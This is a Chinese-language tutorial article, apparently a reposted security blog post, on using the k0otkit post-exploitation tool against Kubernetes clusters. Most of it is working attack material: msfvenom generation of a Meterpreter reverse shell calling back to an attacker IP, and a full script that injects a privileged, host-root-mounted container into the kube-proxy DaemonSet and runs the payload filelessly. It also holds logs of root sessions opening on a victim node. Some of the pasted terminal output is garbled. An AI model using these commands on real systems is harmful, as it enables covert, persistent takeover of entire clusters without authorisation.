如何使用k0otkit对Kubernetes集群进行渗透测试

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发布于 2023-04-26 17:10:05

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文章被收录于专栏：FreeBufFreeBuf

关于k0otkit

k0otkit是一种针对Kubernetes集群的通用后渗透技术，在该工具的帮助下，广大研究人员可以轻松对Kubernetes集群进行渗透测试。

k0otkit允许我们以各种方式轻松修改或操作（通过反向Shell）目标Kubernetes集群中的所有节点。本质上来说，k0otkit是Kubernetes和rootkit工具的结合体。

工具特性

1、可以利用K8s的资源和功能来实现渗透测试； 2、动态容器注入技术； 3、通信加密（基于Meterpreter）； 4、无文件；

工具使用场景

1、Web渗透测试完成之后，拿到目标的Shell； 2、如果有需要的话，还得设法提升权限； 3、发现目标环境是Kubernetes集群中的一个容器（Pod）； 4、设法实现容器逃逸（可利用CVE-2016-5195、CVE-2019-5736、docker.sock或其他技术）； 5、获取主节点的root shell，并且可以使用主节点上的kubectl作为管理员来控制目标集群； 6、现在，如果你想控制目标Kubernetes集群中的所有节点，就可以开始使用k0otkit了；

工具要求

k0otkit是一款后渗透测试工具，因此我们首先要能够进入到目标Kubernetes集群，然后以某种方法从容器中逃逸，并获取到主节点的root权限。更确切地来说，我们首先要获取到目标Kubernetes集群的管理员权限，才能开始使用k0otkit。

工具下载

确保我们已经拿到了目标Kubernetes集群的root shell（如果你想获取目标Kubernetes集群的管理员权限，同样可以使用k0otkit的来实现，不过你可能需要修改k0otkit_template.sh中的kubectl命令）。除此之外，你还需要确保在本地设备上安装并配置好了Metasploit工具，并确保msfvenom和msfconsole命令可用。

部署k0otkit

首先，我们需要使用下列命令将该项目源码克隆至本地，并给脚本提供可执行权限：

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

接下来，替换pre_exp.sh脚本中的IP地址和端口为我们自己设备的IP和端口信息：

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

下列命令可以生成k0otkit：

./pre_exp.sh

生成了k0otkit.sh之后，下列命令将运行反向Shell处理器：

./handle_multi_reverse_shell.sh

工具使用

生成k0otkit：

kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

运行反向Shell处理器：

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
 
[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

在目标Kubernetes集群的主节点中拷贝k0otkit.sh的内容到Shell中，然后按下回车运行：

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache
 
mount_path=/var/kube-proxy-cache
 
ctr_name=kube-proxy-cache
 
binary_file=/usr/local/bin/kube-proxy-cache
 
payload_name=cache
 
secret_name=proxy-cache
 
secret_data_name=content
 
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
 
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
 
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
 
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
 
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
 
# inject malicious container into kube-proxy pod
kubecroxy-cache
root@victim-2:~#
root@victim-2:~# ctr_name=kube-proxy-cache
root@victim-2:~#
root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache
root@victim-2:~#
root@victim-2:~# payload_name=cache
root@victim-2:~#
root@victim-2:~# secret_name=proxy-cache
root@victim-2:~#
root@victim-2:~# secret_data_name=content
root@victim-2:~#
root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n          pr      name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/
 
root@victim-2:~#
root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
root@victim-2:~#
root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
root@victim-2:~#
root@victim-2:~# # create payload secret
root@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
>   name: $secret_name
>   namespace: kube-system
> type: Opaque
> data:
>   $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
> EOF
secret/proxy-cache created
root@victim-2:~#
root@victim-2:~# # assume that ctr_line_num < volume_line_num
root@victim-2:~# # otherwise you should switch the two sed commands below
root@victim-2:~#
root@victim-2:~# # inject malicious container into kube-proxy pod
root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
>   | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
>   | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
>   | kubectl replace -f -
daemonset.extensions/kube-proxy replaced

等待反向Shell生成：

msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500
 
msf5 exploit(multi/handler) > sessions
 
Active sessions
===============
 
  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106  192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)

功能1-退出&重新连接：

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
 
meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...
 
[*] 192.168.1.106 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500

功能2-控制节点：

msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
 
meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================
 
Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40755/rwxr-xr-x   4096      dir   2020-03-03 03:21:08 -0500  bin
40755/rwxr-xr-x   4096      dir   2020-03-05 22:23:56 -0500  boot
40755/rwxr-xr-x   4180      dir   2020-04-09 21:32:10 -0400  dev
40755/rwxr-xr-x   4096      dir   2020-04-17 02:31:15 -0400  etc
40755/rwxr-xr-x   4096      dir   2020-03-03 03:00:00 -0500  home
100644/rw-r--r--  36257923  fil   2020-03-05 22:23:56 -0500  initrd.img
100644/rw-r--r--  39829184  fil   2020-03-03 03:00:17 -0500  initrd.img.old
40755/rwxr-xr-x   4096      dir   2020-04-16 03:52:46 -0400  lib
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  lib64
40700/rwx------   16384     dir   2020-03-03 02:33:19 -0500  lost+found
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:29 -0500  media
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  mnt
40755/rwxr-xr-x   4096      dir   2020-04-16 03:59:01 -0400  opt
40555/r-xr-xr-x   0         dir   2020-04-09 21:32:01 -0400  proc
40700/rwx------   4096      dir   2020-11-30 04:00:05 -0500  root
40755/rwxr-xr-x   1020      dir   2020-11-30 04:04:59 -0500  run
40755/rwxr-xr-x   12288     dir   2020-04-16 03:52:46 -0400  sbin
40755/rwxr-xr-x   4096      dir   2020-03-03 03:02:37 -0500  snap
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  srv
40555/r-xr-xr-x   0         dir   2020-04-14 22:51:06 -0400  sys
41777/rwxrwxrwx   4096      dir   2020-11-30 04:10:07 -0500  tmp
40755/rwxr-xr-x   4096      dir   2020-04-16 04:42:54 -0400  usr
40755/rwxr-xr-x   4096      dir   2020-03-03 02:51:25 -0500  var
100600/rw-------  6712336   fil   2020-03-05 22:22:58 -0500  vmlinuz
100600/rw-------  7184032   fil   2020-03-03 02:33:55 -0500  vmlinuz.old项目地址

https://github.com/Metarget/k0otkit